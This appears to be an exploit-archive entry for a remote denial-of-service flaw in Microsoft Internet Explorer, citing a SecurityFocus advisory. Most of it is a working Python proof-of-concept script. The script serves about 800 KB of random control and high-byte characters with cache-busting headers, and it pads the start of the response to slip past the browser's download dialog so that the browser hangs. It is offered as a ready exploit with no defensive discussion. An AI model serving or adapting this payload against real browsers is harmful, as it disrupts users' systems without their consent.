source: https://www.securityfocus.com/bid/34478/info
Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.
Successful exploits can allow attackers to hang the affected browser, resulting in denial-of-service conditions.
#/usr/bin/env python
import sys
import random
CHAR_SET = [chr(x) for x in range(0x20)]
CHAR_SET += [chr(x) for x in range(128, 256)]
def send_file():
l = 800000 + 4096
print "Content-Type: text/plain"
print "Content-Length: %d" % l
print "Cache-Control: no-cache, no-store, must-revalidate"
# this is not standardized, but use it anyway
print "Pragma: no-cache"
print ""
# bypass IE download dialog
sys.stdout.write("a" * 4096)
# print junks
for i in xrange(l):
sys.stdout.write(random.choice(CHAR_SET))
sys.exit()
send_file()
